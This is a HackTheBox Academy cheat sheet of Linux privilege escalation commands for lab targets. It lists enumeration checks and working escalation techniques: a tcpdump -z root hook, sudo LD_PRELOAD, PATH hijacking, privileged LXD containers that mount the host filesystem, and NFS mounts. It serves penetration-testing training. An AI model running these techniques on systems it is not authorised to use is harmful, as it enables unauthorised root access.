HACKTHEBOX

LINUX PRIVILEGE ESCALATION
CHEAT SHEET

Command	Description
`ssh htb-student@<target IP>`	SSH to lab target
`ps aux | grep root`	See processes running as root
`ps au`	See logged in users
`ls /home`	View user home directories
`ls -l ~/.ssh`	Check for SSH keys for current user
`history`	Check the current user's Bash history
`sudo -l`	Can the user run anything as another user?
`ls -la /etc/cron.daily`	Check for daily Cron jobs
`lsblk`	Check for unmounted file systems/drives
`find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null`	Find world-writeable directories
`find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null`	Find world-writeable files
`uname -a`	Check the Kernel versiion

HTB ACADEMY CHEATSHEET

Command	Description
`cat /etc/lsb-release`	Check the OS version
`gcc kernel_expoit.c -o kernel_expoit`	Compile an exploit written in C
`screen -v`	Check the installed version of `Screen`
`./pspy64 -pf -i 1000`	View running processes with `pspy`
`find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null`	Find binaries with the SUID bit set
`find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null`	Find binaries with the SETGID bit set
`sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root`	Priv esc with `tcpdump`
`echo $PATH`	Check the current user's PATH variable contents
`PATH=.:${PATH}`	Add a `.` to the beginning of the current user's PATH
`find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null`	Search for config files
`ldd /bin/ls`	View the shared objects required by a binary
`sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart`	Escalate privileges using `LD_PRELOAD`
`readelf -d payroll | grep PATH`	Check the RUNPATH of a binary
`gcc src.c -fPIC -shared -o /development/libshared.so`	Compiled a shared libary
`lxd init`	Start the LXD initialization process

HTB ACADEMY CHEATSHEET

Command	Description
`lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine`	Import a local image
`lxc init alpine r00t -c security.privileged=true`	Start a privileged LXD container
`lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true`	Mount the host file system in a container
`lxc start r00t`	Start the container
`showmount -e 10.129.2.12`	Show the NFS export list
`sudo mount -t nfs 10.129.2.12:/tmp /mnt`	Mount an NFS share locally
`tmux -S /shareds new -s debugsess`	Created a shared `tmux` session socket
`./lynis audit system`	Perform a system audit with `Lynis`

HTB ACADEMY CHEATSHEET